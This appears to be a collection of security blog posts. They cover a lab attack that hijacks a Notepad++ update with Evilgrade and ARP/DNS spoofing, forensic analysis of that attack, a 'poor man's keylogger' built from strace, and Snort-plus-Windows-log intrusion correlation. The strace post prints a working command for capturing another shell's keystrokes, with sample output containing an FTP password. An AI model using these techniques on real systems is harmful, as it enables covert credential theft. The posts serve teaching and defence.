Analysing an ISR–EvilGrade hijacked session

In the previous post, the ISR-EvilGrade tool was used along with msfcli, msfpayload and dnsspoof to conduct a person-in-the middle attack against the update process of Notepad++ application. While gaining access is always interesting, more focused should be placed on the who, what, where, when and how it was done. Every opportunity should be used to understand the process an attacker used to gain and or maintain access. This is the only way mitigation can be put in place to hopefully avert similar future actions.

Topology information from previous post
The victim (IP:10.0.0.53 – MAC: 08:00:27:AF:DA:7A) will be running Windows 2003 with NotePad++ v5.8.2.
The gateway (IP:10.0.0.254 - MAC: 08:00:27:33:3B:10 )

The attacker (IP:10.0.0.50 - MAC: 08:00:27:14:56:63 )  
Let’s see what we can learn from the previous attack.

Beginning with the Windows client, let’s look at it’s ARP cache.

As can be seen we have 2 hosts 10.0.0.50 and 10.0.0.254 both saying they are at 08-00-27-14-56-63. From the topology information, it can be seen that this MAC belongs to the attacker. 

Next, let’s look at the ARP cache for the gateway

Once again we see MAC 08-00-27-14-56-63 being reportedly found at 10.0.0.53 and 10.0.0.50. These two ARP cache are clear signs of an ARP Poisoning.Let’s take a look at tshark to see what we can gather from the pcap file

Tshark “arp” filter, shows a number of “duplicate use of IP …”

Moving up the TCP/IP stack, let’s look for established TCP sessions on the Windows system and what it matches with via the “tasklist”

Above shows that the Windows server has an established session with the attacker on port 8080. A tasklist command shows the binary “b.exe” is running with PID 3256

Time to revisit the packet capture to see how much we can get out of this

Focusing on the DNS traffic first

This shows in packet 11, that the client at 10.0.0.53 made the DNS request for notepad-plus.sourceforge.net 

In packet 12, the attacker at 10.0.0.50 responds claiming notepad-plus.sourceforge.net can be found at its’ IP 10.0.0.50

Now that we have the DNS information, let’s see what other applications were involved.

Looking further into the capture, we see at packet 88, the client starts a connection to port 80 on 10.0.0.50. Once this connection is established, we see that the client at 10.0.0.53 then does a HTTP GET request for “b.exe”. Remember above we showed that b.exe is using process ID 3256. 

This brief and quick analysis showed us some of the ways we may be able to detect a person-in-the-middle attack or at least be able to conduct a quick analysis of a packet capture to draw some sound conclusions.

Mitigation?!
The likelihood of this attack could have been reduced through:
Using static ARP entry – This is much easier said than done, since in most cases our systems learn their ARP entry dynamically. However, if the devices were configured with static ARP entries the ARP spoofing would have more than likely failed. Hence this entire scenario may have failed since we would not have been able to intercept the DNS request using the method in the previous post.

Do you really trust that update process?

Hijacking updates with ISR–Evilgrade

Hijacking, the update process of many apps, including WindowsUpdate can be a lot eaiser than you may think, once you are able to get between the communication path.

There are currently a few ways this can be done. However, for this lab, ISR-Evilgrade with ettercap, msfpayload, msfcli and dnsspoof will be used to conduct person-in-the-middle attack. I’m sure this can be achieved with fewer of these tools. However, remember the purpose of this blog is “Learning By Practicing”. As a result, these other tools are included to understand their operation and how they may be used together.


As taken from the infobyte.com.ar site “Evilgrade is a modular framework that allows the user to take advantage of poor upgrade implementations by injecting fake updates.”


Throughout this entire process, all traffic seen will be captured and an analysis will be done on this attack.

The victim (IP:10.0.0.53 – MAC: 08:00:27:AF:DA:7A) will be running Windows 2003 with NotePad++ v5.8.2. 
The gateway (IP:10.0.0.254 - MAC: 08:00:27:33:3B:10 )
The attacker (IP:10.0.0.50 - MAC: 08:00:27:14:56:63 )


Without further ado, let’s begin.

Setup the msfpayload

Setup the msfcli handler

Setup dnsspoof

Setup ettercap to spoof the ARP traffic between the gateway (10.0.0.254) and the victim (10.0.0.53)


I think I may have missed something here as I should be able to use ettercap alone to spoof the DNS with the dns_spoof plugin. However, this is IT Security and if we can’t get one tool to work the way we would like, it is time to improvise. This is the reason for using both the dns_spoof plugin and the dnsspoof tool.

Let’s configure ISR Evilgrade to use the notepadplus module


Next, let’s install notepad++

Once notepad++ is installed and run it begins to look for updates. Once it finds available updates, it notifies us.



Once Yes is clicked on the above, you may get another notification to close notepad++. Click yes and close.


Once yes is clicked. We can now revisit the attacker’s machine to see what is going on.  

Let’s do that. As can be see below, evilgrade has successfully transferred the payload to client at 10.0.0.53.

Let’s see what we get from msfcli.

A new session was opened. In addition, a hashdump and sysinfo was successfully done.

The moral of this post?
Most of us more than likely click “YES” or “Update” when we are prompted about updates being available. These can be for Java, Windows Update, Notepad++ or any other software, we do the lazy thing and just click. However, tools like ISR-evilgrade and others used above, gives us more reason to go directly to the vendor site and download these updates. While downloading these updates from the vendor site may be a good start, additional checks like verifying hashes, etc could reduce our exposure to malicious updates. If there is a MD5 and SHA1 or SHA256 hash available for the update, test all if possible. Tools such as md5sum or md5deep can be very helpful in these circumstances. A tool I also like to use on windows is the File Check Integrity Viewer from Microsoft (FCIV). Note, FCIV may not currently be available and thus, you can use built in tools such as Certutil or even Powershell's Get-FileHash.



Reference:
http://www.infobyte.com.ar/down/isr-evilgrade-Readme.txt
http://www.infobyte.com.ar/down/Francisco%20Amato%20-%20evilgrade%20-%20ENG.pdf
http://www.infobyte.com.ar/demo/java_win7.htm
http://www.offensive-security.com/metasploit-unleashed/Msfcli
http://www.offensive-security.com/metasploit-unleashed/Msfpayload
http://www.irongeek.com/i.php?page=backtrack-3-man/dnsspoof
http://support.microsoft.com/kb/841290

The Poor Man’s Keylogger – strace

The strace tool is commonly used for debugging applications in Linux, tracing system calls and signals. Because it is more than likely already a part of your OS, we will look at how an attacker can use a tool which is already there to his advantage.

Assumption: The attacker is currently on the machine we are using

For this example, we will perform the following:
1.            Initiate and attach strace to a specific PID
2.            Capture all key strokes from this PID and or any child it forks (creates)
3.            Store this information to a file for offline analysis

Let’s begin!

Let’s see what shells we currently have available
root@securitynik:~# ps aux | grep bash
root      3103  0.0  0.6   6140  3392 pts/0    Ss+  17:14   0:00 bash
root      3199  0.0  0.6   6140  3540 pts/1    Ss   17:18   0:00 bash
root      3373  0.0  0.1   3488   768 pts/1    S+   18:06   0:00 grep bash

Hmmm. Let’s see which one belongs to us
root@securitynik:~# tty
/dev/pts/1

Looks like we are currently using /dev/pts/1. Guess that means /dev/pts/0 is the one we should hook into. Let’s do that.

Let’s start strace and send it to the background

root@securitynik:~# strace -p 3103 -t -e write -q -f -o keylogger.txt &
[1] 3432

Above we are telling strace to do the following:
1. –p 3103: connect to PID 3103, which above is on pts/0
2. –t : print the time of day
3. –e write: only capture write calls
4. –q : be quiet
5. –f : follow any fork (created) process
6. –o keylogger.txt: output the results to a file named keylogger.txt

using the console with the PID 3103 let’s run a few commands and connect to a remote system running FTP:
root@securitynik:~# id
uid=0(root) gid=0(root) groups=0(root)
root@securitynik:~# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash

root@securitynik:~# ftp 192.168.0.50
Connected to 192.168.0.50.
220 Microsoft FTP Service
Name (192.168.0.50:root): administrator
331 Password required for administrator.
Password:
230-Welcome to securitynik FTP Server :-D
230 User administrator logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
226 Transfer complete.
ftp> exit
221 Do return soon :-)

So the above commands were run but what did we capture?
Let’s find out … the file will be truncated for brevity
root@securitynik:~# cat keylogger.txt | more
-------- results from the ID command ---------    
3103  18:20:51 write(2, "i", 1)         = 1
3103  18:20:51 write(2, "d", 1)         = 1
3103  18:20:52 write(2, "\n", 1)        = 1
3449  18:20:52 write(1, "uid=0(root) gid=0(root) groups=0"..., 39) = 39

--------- results from cat /etc/passwd
3103  18:20:57 write(2, "c", 1)         = 1
3103  18:20:57 write(2, "a", 1)         = 1
3103  18:20:57 write(2, "t", 1)         = 1
3103  18:20:57 write(2, " ", 1)         = 1
3103  18:20:58 write(2, "/", 1)         = 1
3103  18:20:58 write(2, "e", 1)         = 1
3103  18:20:58 write(2, "t", 1)         = 1
……..
3103  18:20:59 write(3, "/etc", 4)      = 4
3103  18:20:59 write(3, "\n", 1)        = 1
3103  18:20:59 write(2, "c/", 2)        = 2
3103  18:21:01 write(2, "p", 1)         = 1
3103  18:21:01 write(2, "a", 1)         = 1
3103  18:21:01 write(2, "s", 1)         = 1
3103  18:21:01 write(2, "s", 1)         = 1
3103  18:21:01 write(2, "w", 1)         = 1
3103  18:21:02 write(2, "d", 1)         = 1
3103  18:21:02 write(2, "\n", 1)        = 1
3468  18:21:02 write(1, "root:x:0:0:root:/root:/bin/bash\n"..., 2279) = 2279

---------- and last but not least the results from the FTP session --------
103  18:21:02 write(2, "\33]0;root@securitynik: ~\7\33[01;31m"..., 70) = 70
3103  18:21:17 write(2, "f", 1)         = 1
3103  18:21:18 write(2, "t", 1)         = 1
3103  18:21:18 write(2, "p", 1)         = 1
…..
3103  18:21:24 write(2, "1", 1)         = 1
3103  18:21:24 write(2, "9", 1)         = 1
3103  18:21:24 write(2, "2", 1)         = 1
3103  18:21:24 write(2, ".", 1)         = 1
3103  18:21:25 write(2, "1", 1)         = 1
3103  18:21:25 write(2, "6", 1)         = 1
3103  18:21:25 write(2, "8", 1)         = 1
3103  18:21:26 write(2, ".", 1)         = 1
3103  18:21:26 write(2, "0", 1)         =
3103  18:21:26 write(2, ".", 1)         = 1
3103  18:21:26 write(2, "5", 1)         = 1
3103  18:21:26 write(2, "0", 1)         = 1
3103  18:21:27 write(2, "\n", 1)        = 1
3470  18:21:27 write(1, "Connected to 192.168.0.50.\n", 27) = 27
3470  18:21:27 write(1, "220 Microsoft FTP Service\n", 26) = 26
3470  18:21:27 write(1, "Name (192.168.0.50:root): ", 26) = 26
3470  18:21:31 write(5, "USER administrator\r\n", 20) = 20
3470  18:21:31 write(1, "331 Password required for admini"..., 41) = 41
3470  18:21:31 write(6, "Password:", 9) = 9
3470  18:21:35 write(6, "\n", 1)        = 1
3470  18:21:35 write(5, "PASS Testing1\r\n", 15) = 15
3470  18:21:35 write(1, "230-Welcome to securitynik FTP S"..., 42) = 42
3470  18:21:35 write(1, "230 User administrator logged in"..., 34) = 34
3470  18:21:35 write(5, "SYST\r\n", 6)  = 6
3470  18:21:35 write(1, "Remote system type is Windows_NT"..., 34) = 34
3470  18:21:35 write(1, "ftp> ", 5)     = 5
3470  18:21:38 write(1, "d", 1)         = 1
3470  18:21:39 write(1, "i", 1)         = 1
3470  18:21:39 write(1, "r", 1)         = 1
3470  18:21:39 write(1, "\n", 1)        = 1
3470  18:21:39 write(5, "PORT 192,168,0,15,230,54\r\n", 26) = 26
3470  18:21:39 write(1, "200 PORT command successful.\n", 29) = 29
3470  18:21:39 write(5, "LIST\r\n", 6)  = 6
3470  18:21:39 write(1, "150 Opening ASCII mode data conn"..., 52) = 52
3470  18:21:39 write(1, "226 Transfer complete.\n", 23) = 23
3470  18:21:39 write(1, "ftp> ", 5)     = 5
3470  18:21:43 write(1, "e", 1)         = 1
3470  18:21:43 write(1, "x", 1)         = 1
3470  18:21:44 write(1, "i", 1)         = 1
3470  18:21:44 write(1, "t", 1)         = 1
3470  18:21:44 write(1, "\n", 1)        = 1
3470  18:21:44 write(5, "QUIT\r\n", 6)  = 6
3470  18:21:44 write(1, "221 Do return soon :-) \n", 24) = 24
3103  18:21:44 --- SIGCHLD (Child exited) @ 0 (0) ---
3103  18:21:44 write(2, "\33]0;root@securitynik: ~\7\33[01;31m"..., 70) = 70

As can be seen, the tools on our systems can easily be used for good just as it can for bad. 

How to mitigate this?
Be aware of what processes you expect to see on your systems

If you don’t use strace for debugging and see it in your “ps aux” output, then you may need to investigate why it may be there.

 root@securitynik:~# ps aux | grep strace
root      3432  0.0  0.1   2088   644 pts/1    S    18:15   0:00 strace -p 3103 -t -e write -q -f -o keylogger.txt

Further checks
root@securitynik:~# lsof | grep strace
strace    3432            root  cwd       DIR        8,1     4096     785892 /root
strace    3432            root  rtd       DIR        8,1     4096          2 /
strace    3432            root  txt       REG        8,1   207880     785911 /usr/bin/strace
strace    3432            root  mem       REG        8,1  1441960     655121 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
strace    3432            root  mem       REG        8,1   117960     679406 /lib/i386-linux-gnu/ld-2.13.so
strace    3432            root    0u      CHR      136,1      0t0          4 /dev/pts/1
strace    3432            root    1u      CHR      136,1      0t0          4 /dev/pts/1
strace    3432            root    2u      CHR      136,1      0t0          4 /dev/pts/1
strace    3432            root    3w      REG        8,1     4782     800789 /root/keylogger.txt

Additional Reading:
http://linux.die.net/man/1/strace
http://chadfowler.com/blog/2014/01/26/the-magic-of-strace/ http://www.thegeekstuff.com/2011/11/strace-examples/

Intrusion Detection ... it's is not only packet analysis

It's (log) analysis ... look at and for all traces of possible evidence

While being able to analyze packets is very important in detecting intrusions, it is not the only way of detecting intrusions.

To be able to properly analyze any intrusion event, the analyst must be prepared to look at data from any and or every possible source of information. Once a device is 'touched' evidence of this is more than likely somewhere to be found. Obviously, I'm assuming some type of logging is being done.

In this example, we will build out a scenario.

Let's start with the IDS.

The first trigger or alert, that there may be an intrusion will more than likely come from your IDS. You do have one right?! :-)

Once the IDS generates an alert, it is time to analyze that alert.

Evaluate the IDS rule against the packet which generated the event. Knowledge of your environment is assumed.

Does this look like a false positive? Example ... Is the attacker targeting a Linux Telnet Server while you are running Windows Telnet Sever?

Does this look like a true positive? Example ... Is the attacker targeting Windows Telnet Server while you are running Windows Telnet Server?

In our scenario, the IDS will generate an alert when "joe-attacker" successfully logs into the Telnet Server.

We will check ... ooops ... correlate the alert with the server logs to see what's available.

Let's put this together.

Using Snort as IDS and a Windows 2003 Telnet server, let's build this scenario out.

Configure two Snort variables

ipvar $HOME_NET 10.0.0.51/32 # This would be the Windows Box running the Telnet Server. This is the system we wish to protect

ipvar $EXTERNAL_NET !$HOME_NET # Will be the Kali system on 10.0.0.50/24. This says anything not defined as "$HOME_NET" should be considered hostile

Time to build a snort rule to identify when username 'joe-attacker' successfully logs in to our Windows Telnet server

This custom rule will go in the /etc/snort/rules/local.rules file

alert tcp $HOME_NET 23 -> $EXTERNAL_NET any (msg:"Successful login from joe-attacker"; content:"Microsoft Telnet Server"; nocase; fast_pattern; content:"joe-attacker"; nocase; flow:from_server; Priority:1; classtype:successful-user; reference:url,security-nik.blogspot.com; rev:1; sid:40000001)

Let's test snort to ensure there is no problem with this rule

root@security-nik:~# snort -c /etc/snort/snort.conf -T

Snort successfully validated the configuration!

Snort exiting

Looks good ... no problem with the rule

Now let's run snort to look for our traffic

root@security-nik:~/snort# snort -c /etc/snort/snort.conf -A full -i eth0 -q -l .

Time to verify Telnet Server is listening on the server

As netstat shows we are listening for Telnet traffic on port 23

C:\>netstat -anobp tcp

Active Connections

  Proto  Local Address          Foreign Address        State           PID

  TCP    0.0.0.0:23             0.0.0.0:0              LISTENING       2164

  [tlntsvr.exe]

Ok 'joe-attacker', it's time to logon and logout

root@security-nik:~# telnet -l joe-attacker 10.0.0.51

Trying 10.0.0.51...

Connected to 10.0.0.51.

Escape character is '^]'.

Welcome to Microsoft Telnet Service

password:

*===============================================================

Welcome to Microsoft Telnet Server.

*===============================================================

C:\Documents and Settings\joe-attacker>exitConnection closed by foreign host.

The above shows "joe-attacker" successfully logged in, got a command prompt and then exited

 

Analysis time!!

Once again, let's start with the IDS.

here is what the IDS saw.

root@security-nik:~/snort# cat alert

[**] [1:40000001:1] Successful login from joe-attacker [**]

[Classification: Successful User Privilege Gain] [Priority: 1]

04/13-22:27:06.951742 10.0.0.51:23 -> 10.0.0.50:47018

TCP TTL:128 TOS:0x0 ID:1503 IpLen:20 DgmLen:264 DF

***AP*** Seq: 0xC9A7854F  Ack: 0x1AE0887  Win: 0xFA6A  TcpLen: 32

TCP Options (3) => NOP NOP TS: 44372 1078019

[Xref => http://security-nik.blogspot.com]

Looks like "joe-attacker" successfully logged into the Telnet Server on 04/13 at 22:27:06 from host 10.0.0.50 and source port 47018

Let's verify .... oooops correlate this with the windows logs. Please note, having accurate time information is critical for proper correlation. Your system(s) should be configured to sync their time with a at least 2 NTP Servers

The Windows logs shows the following

Event Type:        Success Audit

Event Source:    Security

Event Category:                Logon/Logoff

Event ID:              528

Date:                     4/13/2014

Time:                     10:27:06 PM

User:                     SECURITYNIK-2K3\joe-attacker

Computer:          SECURITYNIK-2K3

Description:

Successful Logon:

                User Name:        joe-attacker

                Domain:                               SECURITYNIK-2K3

                Logon ID:                             (0x0,0x5C116)

                Logon Type:       2

                Logon Process:  Advapi 

                Authentication Package:               Negotiate

                Workstation Name:        SECURITYNIK-2K3

                Logon GUID:      -

                Caller User Name:           LOCAL SERVICE

                Caller Domain:   NT AUTHORITY

                Caller Logon ID: (0x0,0x3E5)

                Caller Process ID: 3632

                Transited Services: -

                Source Network Address:            -

                Source Port:       -

As can be seen above "joe-attacker" successfully logged on 4/13/2014 at 10:27:06.

It would have been nice, if we also had the "Source Network Address". However, this information is not always available

Obviously there is other information in here. However, the objective is to show why logs and any or all other sources of information should be considered and correlated.

As shown above, traces and or evidence of an intrusion can be found in many different place. Take advantage of any logs or other sources of information you may have to help make your conclusion more sound.

Additional info on gathering and reading logs:
http://httpd.apache.org/docs/current/logs.html
http://support.microsoft.com/kb/324091